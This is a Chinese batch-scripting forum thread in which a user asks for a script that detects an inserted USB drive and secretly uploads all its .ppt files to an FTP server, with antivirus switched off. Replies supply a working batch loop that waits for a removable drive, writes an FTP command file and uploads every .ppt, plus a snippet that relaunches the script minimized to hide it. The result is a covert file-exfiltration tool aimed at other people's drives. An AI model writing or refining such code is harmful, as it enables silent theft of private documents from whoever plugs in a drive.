标题: [网络连接] 批处理怎么检测是否插入U盘并并把U盘的指定扩展名的文件上传到ftp [打印本页]
作者: jellyhk 时间: 2010-12-20 22:43 标题: 批处理怎么检测是否插入U盘并并把U盘的指定扩展名的文件上传到ftp
本帖最后由 pcl_test 于 2016-11-17 13:04 编辑
求助高手用批处理把U盘里的全部*.ppt发送到ftp空间的程序
5
我想写一个批处理,内容一下:
监测 一U盘插上去就开始扫描出所有*.ppt文件 并发送到xxx名yyy密码的ftp中 全部过程都在后台进行 不用考虑杀毒软件 我会事前关掉的
作者: hanyeguxing 时间: 2010-12-20 23:17
非后台运行:- @echo off
- :Han
- wmic logicaldisk where DriveType=2 get DeviceID|find ":">nul
- if errorlevel 1 (
- >nul ping 127.1
- goto:Han
- )
- (
- echo 帐户
- echo 密码
- echo cd /目录/
- for /f "skip=1 delims=" %%a in ('wmic logicaldisk where DriveType^=2 get DeviceID') do for /r "%%a" %%b in (*.ppt) do echo put "%%b" "%%~nxb"
- echo quit
- )>Ye.h
- ftp -s:"Ye.h" ftp服务器地址
- del /q Ye.h
复制代码
[ 本帖最后由 hanyeguxing 于 2010-12-20 23:25 编辑 ]
作者: jellyhk 时间: 2010-12-21 09:52
能给每段的功能说明下么!摆脱拉!
后台运行是不是就是隐藏运行?
作者: jellyhk 时间: 2010-12-22 09:24
顶,再问个问题!~能用bat发送email么!
作者: Batcher 时间: 2010-12-22 17:19 标题: 回复 4楼 的帖子
可以在BAT里面调用VBS或者其它第三方命令行工具来发邮件
作者: Ryeah 时间: 2010-12-24 00:01 标题: 回复 3楼 的帖子
- @echo off
- mode con cols=15 lines=1
- if exist "Temp.bat" goto Start
- >Temp.bat echo start/min "" "%~nx0"^&exit
- start/min Temp.bat&exit
-
- :Start
- del "Temp.bat">nul
- pause & exit
复制代码
论坛发现的最小化代码。
作者: jellyhk 时间: 2010-12-31 15:11
谁能把2楼的给说明下啊~有些看不懂!那段是检测u盘?
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |